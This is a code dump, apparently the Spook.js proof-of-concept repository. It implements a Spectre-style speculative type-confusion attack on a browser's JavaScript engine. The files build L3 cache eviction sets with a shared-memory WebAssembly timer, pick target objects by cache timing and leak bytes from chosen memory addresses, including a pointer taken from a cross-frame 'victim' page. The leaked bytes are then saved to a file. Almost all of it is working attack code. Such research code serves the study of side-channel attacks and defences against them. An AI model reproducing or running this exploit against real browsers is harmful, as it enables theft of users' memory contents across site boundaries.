remaining element... 269 | randomIndex = Math.floor(Math.random() * currentIndex); 270 | currentIndex -= 1; 271 | 272 | // And swap it with the current element. 273 | temporaryValue = array[currentIndex]; 274 | array[currentIndex] = array[randomIndex]; 275 | array[randomIndex] = temporaryValue; 276 | } 277 | 278 | return array; 279 | } 280 | 281 | const END_MARKER = 0x7FFFFFFF; 282 | class EvictionListL3 { 283 | constructor(memory, elements) { 284 | this.elements = elements; 285 | this.head = elements[0] / 4; 286 | this.memory = memory; 287 | 288 | this.offset = (elements[0]%PAGE_SZ)/CACHE_LINE_SZ; 289 | 290 | // Link elements together 291 | for (let i = 1; i < elements.length; i++) { 292 | memory[elements[i - 1] / 4] = elements[i] / 4; 293 | } 294 | 295 | memory[elements[elements.length - 1] / 4] = END_MARKER; 296 | } 297 | 298 | traverse() { 299 | let element = this.head; 300 | while (element !== END_MARKER) { 301 | //this.memory[element + 1]++; 302 | element = this.memory[element]; 303 | } 304 | return element; 305 | } 306 | } 307 | 308 | let messageId = 0; 309 | const messages = []; 310 | 311 | class Message { 312 | constructor(type, payload){ 313 | this.id = messageId++; 314 | this.type = type; 315 | this.payload = payload; 316 | 317 | this.promise = new Promise((resolve, reject) => { 318 | this.resolve = resolve; 319 | this.reject = reject; 320 | }); 321 | } 322 | } 323 | 324 | function sendMessage(type, payload = undefined) { 325 | const message = new Message() 326 | messages.push(message); 327 | self.postMessage({type: type, id: message.id, payload: payload}); 328 | return message.promise; 329 | } 330 | 331 | self.onmessage = function(event) { 332 | const data = event.data; 333 | 334 | // Dispatch to the correct message 335 | for (let i = 0; i < messages.length; i++) { 336 | if (messages[i].id === data.id) { 337 | message = messages[i]; 338 | messages[i] = messages[messages.length - 1]; 339 | messages.pop(); 340 | 341 | message.resolve(data.result); 342 | return; 343 | } 344 | } 345 | 346 | // Unhandled message 347 | const text = JSON.stringify(data); 348 | self.postMessage({type: 'exception', message: `Unhandled message (Worker): ${text}`}); 349 | } 350 | 351 | function getAccessModules() { 352 | return sendMessage("getAccessModule"); 353 | } 354 | 355 | function startTimer() { 356 | return sendMessage("startTimer"); 357 | } 358 | 359 | function stopTimer() { 360 | return sendMessage("stopTimer"); 361 | } 362 | 363 | function getAddressForDump() { 364 | return sendMessage("getAddress"); 365 | } 366 | 367 | function sendLeakage(byteString) { 368 | return sendMessage("leakage", byteString); 369 | } 370 | 371 | function getCrossFrameAddress() { 372 | return sendMessage("getCrossFrameAddress"); 373 | } 374 | 375 | main(); -------------------------------------------------------------------------------- /static/js/main.js: -------------------------------------------------------------------------------- 1 | function sleep(ms) { 2 | return new Promise(resolve => setTimeout(resolve, ms)); 3 | } 4 | 5 | const Natives = (function(){ 6 | function isEnabled() { 7 | try { 8 | eval("(function(){%GetOptimizationStatus();})"); 9 | return true; 10 | } 11 | catch (e){ 12 | return false; 13 | } 14 | } 15 | 16 | const enabled = isEnabled(); 17 | 18 | function exportNative(name, argumentCount) { 19 | const args = new Array(argumentCount).fill(0).map((value, index) => `_${index}`).join(", "); 20 | if (enabled) { 21 | return eval(`(function(${args}){return %${name}(${args})})`); 22 | } else { 23 | return function(){} 24 | } 25 | } 26 | 27 | return { 28 | enabled: enabled, 29 | isEnabled: isEnabled, 30 | 31 | debugPrint: exportNative("DebugPrint", 1), 32 | }; 33 | })(); 34 | 35 | function log(msg) { 36 | Natives.debugPrint(msg); 37 | console.log(msg); 38 | 39 | const element = document.getElementById("log"); 40 | 41 | const scrolledToBottom = element.scrollHeight - element.clientHeight <= element.scrollTop + 10; 42 | element.append(msg + "\n"); 43 | if (scrolledToBottom) { 44 | element.scrollTop = element.scrollHeight - element.clientHeight; 45 | } 46 | } 47 | 48 | async function loadModule(path) { 49 | const response = await fetch(path); 50 | const buffer = await response.arrayBuffer(); 51 | const module = new WebAssembly.Module(buffer); 52 | 53 | return module; 54 | } 55 | 56 | async function startWorker() { 57 | const BM = 128*1024*1024; // Eviction buffer 58 | const WP = 64*1024; // A WebAssembly page has a constant size of 64KB 59 | const SZ = BM/WP; // 128 hardcoded value in wasm 60 | 61 | const memory = new WebAssembly.Memory({initial: SZ, maximum: SZ, shared: true}); 62 | 63 | const buffer = new Uint32Array(memory); 64 | for (let i = 1; i < buffer.length; i++) { 65 | buffer[i] = buffer[i] + (i * 511); 66 | } 67 | 68 | const clockModule = await loadModule('js/evsets/clock.wasm'); 69 | const accessModule = await loadModule('js/evsets/poc.wasm'); 70 | await sleep(1000); 71 | 72 | log("[*] Starting worker!"); 73 | 74 | let leakedBytes = []; 75 | const workerThread = new Worker('js/main-worker.js'); 76 | let clockThread = undefined; 77 | 78 | function respond(message, result) { 79 | workerThread.postMessage({id: message.id, result: result}); 80 | } 81 | 82 | workerThread.onmessage = async function handle(event) { 83 | let message = event.data; 84 | 85 | switch (message.type) { 86 | case 'log': 87 | log(message.message); 88 | break; 89 | 90 | case 'error': 91 | // Recoverable errors 92 | log(`[!] ERROR: ${message.message}`); 93 | if (clockThread !== undefined) { 94 | log(`Stopping timer...`); 95 | clockThread.terminate(); 96 | } 97 | workerThread.terminate(); 98 | startWorker(); 99 | break; 100 | 101 | case 'exception': 102 | // Unrecoverable errors 103 | log(`[!] ERROR: ${message.message}`); 104 | break; 105 | 106 | case 'end': { 107 | let typedLeakedBytes = new Uint8Array(leakedBytes); 108 | log(typedLeakedBytes); 109 | let file = new Blob([typedLeakedBytes], {type: "octet/stream"}); 110 | let a = document.createElement("a"); 111 | let url = URL.createObjectURL(file); 112 | 113 | a.href = url; 114 | a.download = "leakedBytes.bin"; 115 | document.body.appendChild(a); 116 | a.click(); 117 | 118 | break; 119 | } 120 | 121 | case 'getAddress': { 122 | const begin = Number(window.prompt("Enter address to leak from:")); 123 | const size = Number(window.prompt("Enter number of bytes to leak:")); 124 | respond(message, {leakBegin: begin, leakSize: size}); 125 | break; 126 | } 127 | 128 | case 'leakage': { 129 | log(message.payload); 130 | leakedBytes = leakedBytes.concat(message.payload); 131 | respond(message, null); 132 | break; 133 | } 134 | 135 | case 'getAccessModule': { 136 | respond(message, {module: accessModule, memory: memory}); 137 | break; 138 | } 139 | 140 | case 'stopTimer': { 141 | log(`Stopping timer...`); 142 | if (clockThread !== undefined) {clockThread.terminate();} 143 | clockThread = undefined; 144 | await sleep(100); 145 | respond(message, null); 146 | break; 147 | } 148 | 149 | case 'startTimer': 150 | log(`Starting timer...`); 151 | if (clockThread === undefined) { 152 | clockThread = new Worker('js/evsets/wasmWorker.js'); 153 | clockThread.postMessage({"module": clockModule, "memory": memory}); 154 | 155 | const buffer = new Uint32Array(memory.buffer); 156 | const startTick = Atomics.load(buffer, 64); 157 | let endTick = startTick; 158 | let iterations = 0; 159 | 160 | const timer = setInterval(function(){ 161 | endTick = Atomics.load(buffer, 64); 162 | iterations++; 163 | if (startTick !== endTick) { 164 | clearInterval(timer); 165 | respond(message, null); 166 | } 167 | if (iterations >= 100) { 168 | log('[!] Clock failed to start...'); 169 | clearInterval(timer); 170 | } 171 | }, 10); 172 | } 173 | break; 174 | 175 | case 'getCrossFrameAddress': { 176 | const frame = document.getElementById("frame"); 177 | frame.src = "frame.html"; 178 | window.onmessage = function(event) { 179 | switch (event.data.type) { 180 | case 'log': { 181 | log(`[*] Victim: ${event.data.message}`); 182 | break; 183 | } 184 | 185 | case 'array_ptr': { 186 | respond(message, event.data.address); 187 | break; 188 | } 189 | } 190 | }; 191 | break; 192 | } 193 | 194 | default: { 195 | log("[!] Unhandled message (Main): " + JSON.stringify(message)); 196 | // window.close(); 197 | } 198 | } 199 | }; 200 | } 201 | startWorker(); 202 | -------------------------------------------------------------------------------- /static/js/spook.js: -------------------------------------------------------------------------------- 1 | (function(exported){ 2 | 3 | class SpookJs { 4 | constructor(objects, target) { 5 | this.objects = objects; 6 | this.target = target; 7 | } 8 | 9 | setAddress(address) { 10 | const upper = Number((address >> 32n) & 0xFFFFFFFFn); 11 | const lower = Number((address >> 0n) & 0xFFFFFFFFn); 12 | 13 | const {index} = this.target; 14 | 15 | if ((upper & 0x01) === 0x00) { 16 | // Bit-33 is unset 17 | this.objects[index].f7 = lower >> 1; 18 | this.objects[index].f8 = upper >> 1; 19 | this.objects[index].f9 = 0; 20 | spectreArgs[3] = (lower & 0x01); 21 | } else { 22 | // Bit-33 is set 23 | // Cause overflow in f9 using index to set bit-33 24 | this.objects[index].f7 = lower >> 1; 25 | this.objects[index].f8 = upper >> 1; 26 | this.objects[index].f9 = 0xFFFFFFFE >> 1; 27 | spectreArgs[3] = (lower & 0x01) + 0x02; 28 | } 29 | } 30 | 31 | leak(address) { 32 | this.setAddress(address); 33 | return leakByte3(this.target.set.evictor, this.target.index); 34 | } 35 | 36 | static create(objects, options) { 37 | return create_spook_js(objects, options); 38 | } 39 | } 40 | 41 | async function create_spook_js(objects, options) { 42 | const {module, memory} = await getAccessModules(); 43 | const buffer = new Uint32Array(memory.buffer); 44 | 45 | // Avoid allocate-on-write optimizations 46 | buffer.fill(1); 47 | buffer.fill(0); 48 | 49 | await startTimer(); 50 | 51 | // Build eviction sets 52 | self.importScripts('evsets/main.js'); 53 | 54 | let sets = await build_evset({ 55 | offset: options.offset ?? 63, 56 | module: module, 57 | memory: memory, 58 | }); 59 | 60 | sets = sets.map((set) => { 61 | let offsets = set.map(element => element.offset); 62 | offsets = shuffle(offsets); 63 | offsets = offsets.slice(0, EVICTION_SET_MAX_SIZE); 64 | 65 | return { 66 | evictor: new EvictionListL3(buffer, offsets), 67 | set: set, 68 | tag: set[0].tag, 69 | }; 70 | }); 71 | 72 | log(`Eviction set count: ${sets.length}`); 73 | log(`Eviction set length: ${sets[0].set.length}`); 74 | 75 | // Select candidate eviction set / object pairs 76 | const candidates = await find_candidates( 77 | objects, 78 | sets, 79 | buffer, 80 | options, 81 | ); 82 | 83 | log(`Candidate count: ${candidates.length}`); 84 | 85 | // Check each candidate and verify we can perform type confusion 86 | const target = select_candidate( 87 | objects, 88 | candidates, 89 | options, 90 | ); 91 | 92 | // Failed to create channel. 93 | // Typically because our eviction set wasn't able to evict 94 | // the object properly. 95 | if (target === null) { 96 | return null; 97 | } 98 | 99 | console.log(target); 100 | 101 | return new SpookJs(objects, target); 102 | } 103 | 104 | const find_candidates = preventOptimization(async function(objects, sets, buffer, options){ 105 | // We increment f0 and f5 when trying to find our eviction set 106 | // Set to zero to avoid any overflows and conversion to double 107 | for (let i = 64; i < 128; i++) { 108 | objects[i].f0 = 0; 109 | objects[i].f5 = 0; 110 | } 111 | 112 | const L3_HIT_THRESHOLD = 30; 113 | const L3_MISS_THRESHOLD = 30; 114 | 115 | function median(values) { 116 | return values.sort((a, b) => a - b)[values.length >> 1]; 117 | } 118 | 119 | // Otherwise, we need to use a side channel to determine which 120 | // object and set pair work. 121 | const candidates = []; 122 | const sample_count = 5; 123 | 124 | // Preallocate to avoid noise from allocation. 125 | const hit = new Array(sample_count).fill(0); 126 | const hit2 = new Array(sample_count).fill(0); 127 | const miss = new Array(sample_count).fill(0); 128 | 129 | function f0(object) { 130 | const start = Atomics.load(buffer, 64); 131 | object.f0++; 132 | const end = Atomics.load(buffer, 64); 133 | 134 | return end - start; 135 | } 136 | 137 | function f5(object) { 138 | const start = Atomics.load(buffer, 64); 139 | object.f5++; 140 | const end = Atomics.load(buffer, 64); 141 | 142 | return end - start; 143 | } 144 | 145 | for (let i = 0; i < 10000; i++) { 146 | f0(objects[75 + (i % 20)]); 147 | f5(objects[75 + (i % 20)]); 148 | } 149 | 150 | // Some of the earlier objects may not be compacted properly 151 | const start = options.index ?? 70; 152 | 153 | // Save some time by skipping the last few objects. 154 | // Typically the target object has index 70-95 155 | const end = options.index ?? 100; 156 | 157 | const display = Math.floor(sets.length / 10); 158 | for (let set_index = 0; set_index < sets.length; set_index++) { 159 | const set = sets[set_index]; 160 | 161 | if (set_index % display === 0) { 162 | log(`Generating candidates ${Math.round(set_index/sets.length*100)}%`); 163 | } 164 | 165 | if (options.offset && set.evictor.offset !== options.offset) { 166 | continue; 167 | } 168 | 169 | for (let index = start; index <= end; index++) { 170 | const object = objects[index]; 171 | const evictor = set.evictor; 172 | 173 | for (let sample = 0; sample < sample_count; sample++) { 174 | evictor.traverse(); 175 | miss[sample] = f0(object); 176 | hit[sample] = f0(object); 177 | } 178 | 179 | for (let sample = 0; sample < sample_count; sample++) { 180 | evictor.traverse(); 181 | hit2[sample] = f5(object); 182 | } 183 | 184 | if ( 185 | median(hit) < L3_HIT_THRESHOLD && 186 | //median(hit2) < L3_HIT_THRESHOLD && 187 | median(miss) > L3_MISS_THRESHOLD 188 | ) { 189 | candidates.push({object, set, index}); 190 | } 191 | } 192 | } 193 | 194 | return candidates; 195 | }); 196 | 197 | function select_candidate(objects, candidates, options) { 198 | // Arbitrarily chosen test value, just needs to be a single byte. 199 | const TEST_VALUE = 0x5A; 200 | 201 | // Setup each of our objects for the type confusion. 202 | // Set each length to a reasonable size, too long and a different 203 | // branch is taken in the array indexing code that breaks the 204 | // attack. 205 | for (let i = 64; i < 128; i++) { 206 | objects[i].f0 = 64; // Refer to gadget for documentation. 207 | objects[i].f3 = TEST_VALUE >> 1; // Length in bytes 208 | objects[i].f4 = 0 >> 1; // - continued 209 | objects[i].f5 = TEST_VALUE >> 1; // Length in elements 210 | objects[i].f6 = 0 >> 1; // - continued 211 | } 212 | 213 | // Perform type confusion but use the 'array.length' property. 214 | // This verifies that our channel works without requiring a known 215 | // address with a known value. 216 | // 217 | // f5 above is set to an arbitrary value and we try to access it 218 | // with `object.length`. Architecturally `object.length` accesses 219 | // the length property of object, which doesn't exist, and would 220 | // return undefined. Speculatively, object is interpreted as an 221 | // array so some offset into the memory (where f5 happens to be) 222 | // is read as the length. 223 | // 224 | for (let i = 0; i < candidates.length; i++) { 225 | const candidate = candidates[i]; 226 | const {set, index} = candidate; 227 | 228 | const value = mode(10, () => leakByte2(set.evictor, null, index)); 229 | 230 | log(`Checking candidate ${i + 1}/${candidates.length}`) 231 | 232 | if (value === TEST_VALUE) { 233 | if (options.verify) { 234 | const spook = new SpookJs(objects, candidate); 235 | const value = mode(100, () => spook.leak(options.verify.address)); 236 | 237 | if (value !== options.verify.value) { 238 | continue; 239 | } 240 | } 241 | 242 | return candidate; 243 | } 244 | } 245 | 246 | return null; 247 | } 248 | 249 | function mode(count, f) { 250 | const a = []; 251 | 252 | for (let i = 0; i < count; i++) { 253 | a.push(f()); 254 | } 255 | 256 | a.sort((x, y) => x - y); 257 | 258 | var bestStreak = 1; 259 | var bestElem = a[0]; 260 | var currentStreak = 1; 261 | var currentElem = a[0]; 262 | 263 | for (let i = 1; i < a.length; i++) { 264 | if (a[i-1] !== a[i]) { 265 | if (currentStreak > bestStreak) { 266 | bestStreak = currentStreak; 267 | bestElem = currentElem; 268 | } 269 | 270 | currentStreak = 0; 271 | currentElem = a[i]; 272 | } 273 | 274 | currentStreak++; 275 | } 276 | 277 | return currentStreak > bestStreak ? currentElem : bestElem; 278 | } 279 | 280 | exported.SpookJs = SpookJs; 281 | 282 | })(typeof(window) !== 'undefined' ? window : self); -------------------------------------------------------------------------------- /static/js/util.js: -------------------------------------------------------------------------------- 1 | function mode(count, f) { 2 | const a = []; 3 | 4 | for (let i = 0; i < count; i++) { 5 | a.push(f()); 6 | } 7 | 8 | a.sort((x, y) => x - y); 9 | 10 | var bestStreak = 1; 11 | var bestElem = a[0]; 12 | var currentStreak = 1; 13 | var currentElem = a[0]; 14 | 15 | for (let i = 1; i < a.length; i++) { 16 | if (a[i - 1] !== a[i]) { 17 | if (currentStreak > bestStreak) { 18 | bestStreak = currentStreak; 19 | bestElem = currentElem; 20 | } 21 | 22 | currentStreak = 0; 23 | currentElem = a[i]; 24 | } 25 | 26 | currentStreak++; 27 | } 28 | 29 | return currentStreak > bestStreak ? currentElem : bestElem; 30 | } --------------------------------------------------------------------------------